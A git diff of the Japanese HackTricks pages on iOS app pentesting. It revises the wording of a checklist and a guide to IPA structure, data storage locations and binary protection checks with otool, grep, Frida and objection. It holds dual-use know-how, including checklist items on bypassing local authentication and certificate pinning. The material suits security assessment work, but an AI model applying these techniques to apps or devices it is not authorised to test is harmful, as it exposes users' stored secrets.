- [ ] [Frida](android-app-pentesting/#frida)：Fridaを使用してアプリケーションから興味深い動的データを取得します（おそらくいくつかのパスワード...）。
- [ ] [Frida](android-app-pentesting/#frida): Fridaを使用してアプリケーションから興味深い動的データを取得します（おそらくいくつかのパスワード...）。
### 一部の難読化/デオブフスケーション情報
- [ ] [こちらを読む](android-app-pentesting/#obfuscating-deobfuscating-code)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**モバイルセキュリティ**の専門知識を深めるために、8kSecアカデミーで学びましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう：
{% embed url="https://academy.8ksec.io/" %}
{{#include ../banners/hacktricks-training.md}}

92
src/mobile-pentesting/ios-pentesting-checklist.md
View File

@ -1,48 +1,40 @@
# iOS Pentesting Checklist
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\
今すぐアクセスを取得：
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../banners/hacktricks-training.md}}
### 準備
- [ ] [**iOSの基本**](ios-pentesting/ios-basics.md)を読む
- [ ] [**iOSテスト環境**](ios-pentesting/ios-testing-environment.md)を読み、環境を準備する
- [ ] [**iOS初期分析**](ios-pentesting/#initial-analysis)のすべてのセクションを読み、iOSアプリケーションをペンテストするための一般的なアクションを学ぶ
- [ ] [**iOS初期分析**](ios-pentesting/#initial-analysis)のすべてのセクションを読み、iOSアプリケーションのペンテストにおける一般的なアクションを学ぶ
### データストレージ
- [ ] [**Plistファイル**](ios-pentesting/#plist)は機密情報を保存するために使用される可能性があります。
- [ ] [**Core Data**](ios-pentesting/#core-data)（SQLiteデータベース）は機密情報を保存できます。
- [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)（SQLiteデータベース）は機密情報を保存できます。
- [ ] [**Plistファイル**](ios-pentesting/#plist)は機密情報を保存するために使用される可能性がある。
- [ ] [**Core Data**](ios-pentesting/#core-data)（SQLiteデータベース）は機密情報を保存できる。
- [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)（SQLiteデータベース）は機密情報を保存できる。
- [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases)の設定ミス。
- [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)は機密情報を保存できます。
- [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)は機密情報を保存できます。
- [ ] [**バイナリクッキー**](ios-pentesting/#cookies)は機密情報を保存できます。
- [ ] [**キャッシュデータ**](ios-pentesting/#cache)は機密情報を保存できます。
- [ ] [**自動スナップショット**](ios-pentesting/#snapshots)は視覚的な機密情報を保存できます。
- [ ] [**キーチェーン**](ios-pentesting/#keychain)は通常、電話を再販する際に残る可能性のある機密情報を保存するために使用されます。
- [ ] 要約すると、アプリケーションがファイルシステムに保存した機密情報を**確認する**だけです。
- [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)は機密情報を保存できる。
- [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)は機密情報を保存できる。
- [ ] [**バイナリクッキー**](ios-pentesting/#cookies)は機密情報を保存できる。
- [ ] [**キャッシュデータ**](ios-pentesting/#cache)は機密情報を保存できる。
- [ ] [**自動スナップショット**](ios-pentesting/#snapshots)は視覚的な機密情報を保存できる。
- [ ] [**キーチェーン**](ios-pentesting/#keychain)は通常、電話を再販する際に残る可能性のある機密情報を保存するために使用される。
- [ ] 要約すると、**アプリケーションがファイルシステムに保存した機密情報を確認するだけです。**
### キーボード
- [ ] アプリケーションは[**カスタムキーボードの使用を許可していますか**](ios-pentesting/#custom-keyboards-keyboard-cache)?
- [ ] [**キーボードキャッシュファイル**](ios-pentesting/#custom-keyboards-keyboard-cache)に機密情報が保存されているか確認する
- [ ] アプリケーションは[**カスタムキーボードの使用を許可していますか**](ios-pentesting/#custom-keyboards-keyboard-cache)？
- [ ] 機密情報が[**キーボードキャッシュファイル**](ios-pentesting/#custom-keyboards-keyboard-cache)に保存されているか確認する
### **ログ**
- [ ] [**機密情報がログに記録されているか確認する**](ios-pentesting/#logs)
- [ ] [**機密情報がログに記録されているか**](ios-pentesting/#logs)確認する
### バックアップ
- [ ] [**バックアップ**](ios-pentesting/#backups)はファイルシステムに保存された**機密情報にアクセスするために使用される可能性があります**（このチェックリストの最初のポイントを確認してください）
- [ ] また、[**バックアップ**](ios-pentesting/#backups)はアプリケーションの**設定を変更するために使用される可能性があり**、その後**バックアップを電話に復元すると、**変更された設定**が**読み込まれ**、一部の（セキュリティ）**機能**が**回避される**可能性があります。
- [ ] [**バックアップ**](ios-pentesting/#backups)はファイルシステムに保存された**機密情報にアクセスするために使用できる**（このチェックリストの最初のポイントを確認）
- [ ] また、[**バックアップ**](ios-pentesting/#backups)はアプリケーションの**設定を変更するために使用できる**、その後**バックアップを電話に復元し、**変更された設定**が**読み込まれると**、いくつかの（セキュリティ）**機能**が**バイパスされる**可能性がある。
### **アプリケーションメモリ**
@ -50,48 +42,48 @@
### **壊れた暗号化**
- [ ] [**暗号化に使用されるパスワードを見つけられるか確認する**](ios-pentesting/#broken-cryptography)
- [ ] 機密データを送信/保存するために[**非推奨/弱いアルゴリズムが使用されているか確認する**](ios-pentesting/#broken-cryptography)
- [ ] [**暗号化に使用されるパスワード**](ios-pentesting/#broken-cryptography)を見つけられるか確認する
- [ ] 機密データを送信/保存するために[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されているか確認する
- [ ] [**暗号化関数をフックして監視する**](ios-pentesting/#broken-cryptography)
### **ローカル認証**
- [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているか確認する必要があります。
- [ ] [**ローカル認証フレームワーク**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単に回避される可能性があります。
- [ ] [**動的に回避可能な関数を使用している場合**](ios-pentesting/#local-authentication-using-keychain)、カスタムFridaスクリプトを作成できます。
- [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているか確認する。
- [ ] [**ローカル認証フレームワーク**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単にバイパスできる可能性がある。
- [ ] [**動的にバイパスできる関数**](ios-pentesting/#local-authentication-using-keychain)を使用している場合、カスタムFridaスクリプトを作成できる。
### IPCを通じた機密機能の露出
- [**カスタムURIハンドラー / ディープリンク / カスタムスキーム**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] アプリケーションが**プロトコル/スキームを登録しているか確認する**
- [ ] アプリケーションが**プロトコル/スキームを使用するために登録しているか確認する**
- [ ] アプリケーションが**カスタムスキームから受信することを期待している機密情報の種類を確認する**、それが**同じスキームを登録している別のアプリケーションによって**インターセプトされる可能性があります。
- [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていないか確認し、いくつかの**脆弱性が悪用される可能性があります。
- [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか確認する**、カスタムスキームを介して。
- [ ] アプリケーションが**プロトコル/スキームを登録しているか**確認する
- [ ] アプリケーションが**プロトコル/スキームを使用するために登録しているか**確認する
- [ ] アプリケーションが**カスタムスキームから受信することを期待している機密情報の種類**を確認し、同じスキームを登録している別のアプリケーションによって**傍受される**可能性があるか確認する
- [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていない**場合、いくつかの**脆弱性が悪用される可能性がある**か確認する
- [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか**確認する
- [**ユニバーサルリンク**](ios-pentesting/#universal-links)
- [ ] アプリケーションが**ユニバーサルプロトコル/スキームを登録しているか確認する**
- [ ] アプリケーションが**ユニバーサルプロトコル/スキームを登録しているか**確認する
- [ ] `apple-app-site-association`ファイルを確認する
- [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていないか確認し、いくつかの**脆弱性が悪用される可能性があります。
- [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか確認する**、カスタムスキームを介して。
- [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていない**場合、いくつかの**脆弱性が悪用される可能性がある**か確認する
- [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか**確認する
- [**UIActivity共有**](ios-pentesting/ios-uiactivity-sharing.md)
- [ ] アプリケーションがUIActivitiesを受信できるか確認し、特別に作成されたアクティビティで脆弱性を悪用できるか確認する。
- [ ] アプリケーションがUIActivitiesを受信できるか、特別に作成されたアクティビティで脆弱性を悪用できるか確認する
- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
- [ ] アプリケーションが**一般的なペーストボードに何かをコピーしているか確認する**
- [ ] アプリケーションが**一般的なペーストボードのデータを何かに使用しているか確認する**
- [ ] ペーストボードを監視して、**機密データがコピーされているか確認する**
- [ ] アプリケーションが**一般的なペーストボードに何かをコピーしているか**確認する
- [ ] アプリケーションが**一般的なペーストボードのデータを何かに使用しているか**確認する
- [ ] ペーストボードを監視して、**機密データがコピーされているか**確認する
- [**アプリ拡張**](ios-pentesting/ios-app-extensions.md)
- [ ] アプリケーションは**拡張機能を使用していますか**？
- [ ] アプリケーションは**拡張機能を使用しているか**？
- [**WebViews**](ios-pentesting/ios-webviews.md)
- [ ] 使用されているWebViewの種類を確認する
- [ ] **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**の状態を確認する
- [ ] WebViewが**file://**プロトコルで**ローカルファイルにアクセスできるか確認する**（`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`）
- [ ] Javascriptが**ネイティブ**メソッドにアクセスできるか確認する（`JSContext`、`postMessage`）
- [ ] WebViewが**file://**プロトコルで**ローカルファイルにアクセスできるか**確認する（`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`）
- [ ] Javascriptが**ネイティブ**の**メソッド**（`JSContext`、`postMessage`）にアクセスできるか確認する
### ネットワーク通信
- [ ] [**通信に対するMitMを実行し**](ios-pentesting/#network-communication)、Webの脆弱性を探す。
- [ ] [**通信に対するMitMを実行**](ios-pentesting/#network-communication)し、Webの脆弱性を探す。
- [ ] [**証明書のホスト名**](ios-pentesting/#hostname-check)が確認されているか確認する
- [ ] [**証明書ピンニング**](ios-pentesting/#certificate-pinning)を確認/回避する
- [ ] [**証明書ピンニング**](ios-pentesting/#certificate-pinning)を確認/バイパスする
### **その他**
@ -99,11 +91,3 @@
- [ ] [**悪意のあるサードパーティライブラリ**](ios-pentesting/#third-parties)を確認する
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\
今すぐアクセスを取得：
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

201
src/mobile-pentesting/ios-pentesting/README.md
View File

@ -1,22 +1,14 @@
# iOS Pentesting
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、**自動化**します。\
今すぐアクセスを取得：
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}}
## iOS Basics
## iOSの基本
{{#ref}}
ios-basics.md
{{#endref}}
## Testing Environment
## テスト環境
このページでは、**iOSシミュレーター**、**エミュレーター**、および**脱獄**に関する情報を見つけることができます：
@ -24,11 +16,11 @@ ios-basics.md
ios-testing-environment.md
{{#endref}}
## Initial Analysis
## 初期分析
### Basic iOS Testing Operations
### 基本的なiOSテスト操作
テスト中に**いくつかの操作が提案されます**（デバイスに接続、ファイルの読み書き/アップロード/ダウンロード、ツールの使用など）。したがって、これらのアクションのいずれかを実行する方法がわからない場合は、**ページを読み始めてください**：
テスト中に**いくつかの操作が提案されます**（デバイスに接続、ファイルの読み書き/アップロード/ダウンロード、いくつかのツールを使用するなど）。したがって、これらの操作のいずれかを実行する方法がわからない場合は、**ページを読み始めてください**：
{{#ref}}
basic-ios-testing-operations.md
@ -36,21 +28,26 @@ basic-ios-testing-operations.md
> [!NOTE]
> 次のステップのために、**アプリがデバイスにインストールされている必要があります**、およびアプリケーションの**IPAファイル**をすでに取得している必要があります。\
> [Basic iOS Testing Operations](basic-ios-testing-operations.md)ページを読んで、これを行う方法を学んでください。
> これを行う方法を学ぶには、[Basic iOS Testing Operations](basic-ios-testing-operations.md)ページをお読みください。
### Basic Static Analysis
### 基本的な静的分析
興味深いiOS - IPAファイルのデコンパイラ：
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
IPAファイルに対して自動静的分析を実行するために、ツール[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)を使用することをお勧めします。
**バイナリに存在する保護の特定**：
**バイナリに存在する保護の識別**：
- **PIE (Position Independent Executable)**: 有効な場合、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測することが難しくなります。
- **PIE (Position Independent Executable)**: 有効にすると、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測することが難しくなります。
```bash
otool -hv <app-binary> | grep PIE # PIEフラグが含まれている必要があります
```
- **Stack Canaries**: スタックの整合性を検証するために、関数を呼び出す前にスタックに「カナリア」値が置かれ、関数が終了した後に再度検証されます。
- **スタックカナリア**: スタックの整合性を検証するために、関数を呼び出す前にスタックに「カナリア」値が置かれ、関数が終了した後に再度検証されます。
```bash
otool -I -v <app-binary> | grep stack_chk # stack_chk_guardおよびstack_chk_failシンボルが含まれている必要があります
@ -62,13 +59,13 @@ otool -I -v <app-binary> | grep stack_chk # stack_chk_guardおよびstack_chk_
otool -I -v <app-binary> | grep objc_release # _objc_releaseシンボルが含まれている必要があります
```
- **Encrypted Binary**: バイナリは暗号化されている必要があります
- **暗号化されたバイナリ**: バイナリは暗号化されている必要があります
```bash
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptidは1である必要があります
```
**敏感/不安全な関数の特定**
**敏感/不安全な関数の識別**
- **弱いハッシュアルゴリズム**
@ -136,13 +133,13 @@ grep -iER "_printf"
grep -iER "_vsprintf"
```
### Basic Dynamic Analysis
### 基本的な動的分析
[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)が実行する動的分析を確認してください。さまざまなビューをナビゲートし、それらと対話する必要がありますが、他のことを行う際にいくつかのクラスをフックし、完了するとレポートを準備します。
### Listing Installed Apps
### インストールされたアプリのリスト
インストールされたアプリの**バンドル識別子**を特定するには、コマンド`frida-ps -Uai`を使用します：
`frida-ps -Uai`コマンドを使用して、インストールされたアプリの**バンドル識別子**を特定します：
```bash
$ frida-ps -Uai
PID Name Identifier
@ -165,25 +162,25 @@ ios-hooking-with-objection.md
### IPA構造
**IPAファイル**の構造は本質的に**圧縮パッケージ**のそれです。拡張子を`.zip`に変更することで、**解凍**してその内容を明らかにすることができます。この構造内では、**Bundle**はインストールの準備が整った完全にパッケージ化されたアプリケーションを表します。その中には、アプリケーションのリソースをカプセル化した`<NAME>.app`という名前のディレクトリがあります。
**IPAファイル**の構造は本質的に**圧縮パッケージ**のそれです。拡張子を`.zip`に変更することで、**解凍**してその内容を明らかにすることができます。この構造内で、**Bundle**はインストールの準備が整った完全にパッケージ化されたアプリケーションを表します。その中には、アプリケーションのリソースをカプセル化した`<NAME>.app`という名前のディレクトリがあります。
- **`Info.plist`**: このファイルはアプリケーションの特定の設定詳細を保持します。
- **`_CodeSignature/`**: このディレクトリには、バンドル内のすべてのファイルの整合性を保証する署名を含むplistファイルが含まれています。
- **`Assets.car`**: アイコンなどのアセットファイルを保存する圧縮アーカイブです。
- **`Frameworks/`**: このフォルダには、`.dylib`または`.framework`ファイルの形式でアプリケーションのネイティブライブラリが格納されています。
- **`PlugIns/`**: これは、アプリケーションの拡張機能である`.appex`ファイルを含む場合がありますが、常に存在するわけではありません。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイス上でアプリに元に戻す機能を追加するために使用されます。複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo`ファイルは、アプリケーションまたはバンドルのタイプとクリエイターコードを指定するための代替手段です。
- **en.lproj, fr.proj, Base.lproj**: 特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースも含まれています。
- **セキュリティ**: `_CodeSignature/`ディレクトリは、デジタル署名を通じてバンドルされたすべてのファイルの整合性を検証することにより、アプリのセキュリティに重要な役割を果たします。
- **`PlugIns/`**: これは、アプリケーションの拡張機能である`.appex`ファイルを含む場合がありますが、常に存在するわけではありません。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイスでのアプリの元に戻す機能を追加するために使用されます。単一のiCloudアカウント内で複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo`ファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定するための代替手段です。
- **en.lproj, fr.proj, Base.lproj**: 特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースです。
- **セキュリティ**: `_CodeSignature/`ディレクトリは、デジタル署名を通じてバンドル内のすべてのファイルの整合性を検証することにより、アプリのセキュリティに重要な役割を果たします。
- **アセット管理**: `Assets.car`ファイルは圧縮を使用してグラフィカルアセットを効率的に管理し、アプリケーションのパフォーマンスを最適化し、全体のサイズを削減するために重要です。
- **FrameworksとPlugIns**: これらのディレクトリはiOSアプリケーションのモジュール性を強調し、開発者が再利用可能なコードライブラリ（`Frameworks/`）を含め、アプリの機能を拡張（`PlugIns/`）できるようにします。
- **ローカリゼーション**: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことでグローバルなアプリケーションのリーチを促進します。
- **FrameworksとPlugIns**: これらのディレクトリは、iOSアプリケーションのモジュール性を強調し、開発者が再利用可能なコードライブラリ（`Frameworks/`）を含め、アプリの機能を拡張（`PlugIns/`）できるようにします。
- **ローカリゼーション**: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことで、グローバルなアプリケーションのリーチを促進します。
**Info.plist**
**Info.plist**はiOSアプリケーションの基盤として機能し、**キー-バリュー**ペアの形式で重要な設定データをカプセル化しています。このファイルは、アプリケーションだけでなく、バンドル内のアプリ拡張やフレームワークにも必須です。XMLまたはバイナリ形式で構成されており、アプリの権限からセキュリティ設定までの重要な情報を保持しています。利用可能なキーの詳細な探索については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)を参照できます。
**Info.plist**はiOSアプリケーションの基盤として機能し、**キー-バリュー**ペアの形式で重要な設定データをカプセル化しています。このファイルは、アプリケーションだけでなく、バンドル内のアプリ拡張やフレームワークにも必須です。XMLまたはバイナリ形式で構成されており、アプリの権限からセキュリティ設定までの重要な情報を保持しています。利用可能なキーの詳細な探求については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)を参照できます。
このファイルをよりアクセスしやすい形式で操作したい場合、macOS上で`plutil`を使用することでXML変換を簡単に実行できます（バージョン10.2以降でネイティブに利用可能）またはLinux上で`plistutil`を使用します。変換のコマンドは次のとおりです：
このファイルをよりアクセスしやすい形式で操作したい場合、macOS上で`plutil`を使用することでXML変換を簡単に実現できます（バージョン10.2以降でネイティブに利用可能）またはLinux上で`plistutil`を使用します。変換のためのコマンドは次のとおりです：
- **macOSの場合**:
```bash
@ -207,7 +204,7 @@ iOS環境では、ディレクトリは**システムアプリケーション**
>
> ただし、両方のフォルダ（データフォルダとコンテナフォルダ）には、`MCMetadataIdentifier`キーで両方のファイルをリンクする**`.com.apple.mobile_container_manager.metadata.plist`**ファイルがあります。
ユーザーインストールアプリのインストールディレクトリを発見するために、**objection tool**は便利なコマンド`env`を提供します。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下はこのコマンドの使用例です：
ユーザーインストールアプリのインストールディレクトリを発見するために、**objection tool**は便利なコマンド`env`を提供します。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下は、このコマンドの使用例です：
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@ -238,12 +235,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
**データディレクトリ:**
- **Documents/**
- ユーザー生成データをすべて含みます。アプリケーションのエンドユーザーがこのデータの作成を開始します。
- ユーザー生成データがすべて含まれています。アプリケーションのエンドユーザーがこのデータの作成を開始します。
- ユーザーに見え、**ユーザーは書き込むことができます**。
- このディレクトリの内容は**バックアップされます**。
- アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。
- **Library/**
- **キャッシュ**、**設定**、**クッキー**、およびプロパティリスト（plist）構成ファイルなど、**ユーザー固有でないすべてのファイル**を含みます。
- **ユーザー固有でない**すべての**ファイル**（**キャッシュ**、**設定**、**クッキー**、およびプロパティリスト（plist）設定ファイルなど）を含みます。
- iOSアプリは通常`Application Support`および`Caches`サブディレクトリを使用しますが、アプリはカスタムサブディレクトリを作成できます。
- **Library/Caches/**
- **セミ永続的なキャッシュファイル**を含みます。
@ -256,12 +253,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- このディレクトリの内容は**バックアップされます**。
- アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。
- **Library/Preferences/**
- アプリケーションが再起動された後でも**持続する**プロパティを保存するために使用されます。
- 情報は、アプリケーションサンドボックス内のplistファイル\[BUNDLE_ID].plistに暗号化されずに保存されます。
- アプリケーションが再起動された後でも**持続する**ことができるプロパティを保存するために使用されます。
- 情報は、アプリケーションサンドボックス内の暗号化されていないplistファイル\[BUNDLE_ID].plistに保存されます。
- `NSUserDefaults`を使用して保存されたすべてのキー/値ペアはこのファイルに見つかります。
- **tmp/**
- アプリの起動間で持続する必要のない**一時ファイル**を書くためにこのディレクトリを使用します。
- 非永続的なキャッシュファイルを含みます。
- 非永続的なキャッシュファイルが含まれています。
- **ユーザーには見えません**。
- このディレクトリの内容はバックアップされません。
- OSはアプリが実行されていないときやストレージスペースが不足しているときに、このディレクトリのファイルを自動的に削除することがあります。
@ -360,17 +357,9 @@ double _field2;
```
しかし、バイナリを逆アセンブルするための最良のオプションは、[**Hopper**](https://www.hopperapp.com/download.html?) と [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/) です。
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築し、自動化** します。\
今すぐアクセスを取得：
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## データストレージ
iOSがデバイス内にデータをどのように保存するかについては、このページを読んでください：
iOSがデバイス内でデータをどのように保存するかについては、このページを読んでください：
{{#ref}}
ios-basics.md
@ -382,23 +371,23 @@ ios-basics.md
### Plist
**plist** ファイルは、**キーと値のペア**を含む構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、時にはこれらのファイルに**機密情報が含まれている**ことがあります。アプリをインストールした後、または集中的に使用した後にこれらのファイルを確認することをお勧めします。
**plist**ファイルは、**キーと値のペア**を含む構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、時には**これらのファイルに機密情報が含まれていることがあります**。アプリをインストールした後、または集中的に使用した後にこれらのファイルを確認することをお勧めします。
plistファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults**を使用することです。このplistファイルは、**`Library/Preferences/<appBundleID>.plist`** のアプリサンドボックス内に保存されます。
plistファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults**を使用することです。このplistファイルは、**`Library/Preferences/<appBundleID>.plist`**のアプリサンドボックス内に保存されます。
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) クラスは、デフォルトシステムと対話するためのプログラムインターフェースを提供します。デフォルトシステムは、アプリケーションが**ユーザーの好みに応じて**動作をカスタマイズできるようにします。`NSUserDefaults`によって保存されたデータは、アプリケーションバンドル内で表示できます。このクラスは、**plist** **ファイル**に**データ**を保存しますが、小量のデータで使用することを意図しています。
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults)クラスは、デフォルトシステムと対話するためのプログラムインターフェースを提供します。デフォルトシステムは、アプリケーションが**ユーザーの好みに応じて**動作をカスタマイズできるようにします。`NSUserDefaults`によって保存されたデータは、アプリケーションバンドル内で表示できます。このクラスは**plist** **ファイル**に**データ**を保存しますが、小量のデータで使用することを意図しています。
このデータは、信頼できるコンピュータを介して直接アクセスすることはできませんが、**バックアップ**を実行することでアクセスできます。
**`NSUserDefaults`** を使用して保存された情報をダンプするには、objectionの `ios nsuserdefaults get` を使用します。
**`NSUserDefaults`**を使用して保存された情報を**ダンプ**するには、objectionの`ios nsuserdefaults get`を使用します。
アプリケーションによって使用されているすべてのplistを見つけるには、`/private/var/mobile/Containers/Data/Application/{APPID}` にアクセスし、次のコマンドを実行します：
アプリケーションで使用されているすべてのplistを見つけるには、`/private/var/mobile/Containers/Data/Application/{APPID}`にアクセスし、次のコマンドを実行します：
```bash
find ./ -name "*.plist"
```
ファイルを**XMLまたはバイナリ（bplist）**形式からXMLに変換するために、オペレーティングシステムに応じたさまざまな方法が利用可能です：
**macOSユーザー向け：** `plutil`コマンドを利用します。これはmacOS（10.2以上）に組み込まれたツールで、この目的のために設計されています：
**macOSユーザー向け：** `plutil`コマンドを利用します。これはmacOS（10.2以上）に組み込まれているツールで、この目的のために設計されています：
```bash
$ plutil -convert xml1 Info.plist
```
@ -449,15 +438,15 @@ Yapデータベースはsqliteデータベースであるため、前のセク
### Other SQLite Databases
アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは**機密** **データ**を**保存**しており、暗号化されていない可能性があります。したがって、アプリケーションのディレクトリ内のすべてのデータベースを確認することは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します（`/private/var/mobile/Containers/Data/Application/{APPID}`）
アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは**機密** **データ**を**保存**しており、暗号化されていない可能性があります。したがって、アプリケーションディレクトリ内のすべてのデータベースを確認することは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します（`/private/var/mobile/Containers/Data/Application/{APPID}`）
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase Real-Time Databases
開発者は、Firebase Real-Time Databasesを通じて**データを保存および同期**することができる**NoSQLクラウドホスト型データベース**を利用できます。データはJSON形式で保存され、接続されたすべてのクライアントにリアルタイムで同期されます。
開発者は、Firebase Real-Time Databasesを通じて**データを保存および同期**することができる**NoSQLクラウドホストデータベース**を利用できます。データはJSON形式で保存され、接続されたすべてのクライアントにリアルタイムで同期されます。
誤って構成されたFirebaseデータベースを確認する方法は、こちらで見つけることができます：
誤って構成されたFirebaseデータベースを確認する方法は、こちらで確認できます：
{{#ref}}
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
@ -498,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
```
### クッキー
iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**にアプリのクッキーを保存します。しかし、開発者は時々、**バックアップでアクセスできるため**、それらを**keychain**に保存することを決定します。
iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**にアプリのクッキーを保存します。しかし、開発者は時々、**バックアップでアクセスできるため、**クッキーを**keychain**に保存することを決定します。
クッキーファイルを検査するには、[**このpythonスクリプト**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)を使用するか、objectionの**`ios cookies get`**を使用できます。\
**また、objectionを使用して**これらのファイルをJSON形式に変換し、データを検査することもできます。
@ -519,7 +508,7 @@ iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`
```
### キャッシュ
デフォルトでは、NSURLSessionは**Cache.db**データベースに**HTTPリクエストとレスポンス**などのデータを保存します。このデータベースには、トークン、ユーザー名、またはその他の**機密情報**がキャッシュされている場合、**機密データ**が含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ（`/var/mobile/Containers/Data/Application/<UUID>`）を開き、`/Library/Caches/<Bundle Identifier>`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開いて操作できます。これは**通常のSQLiteデータベース**です。
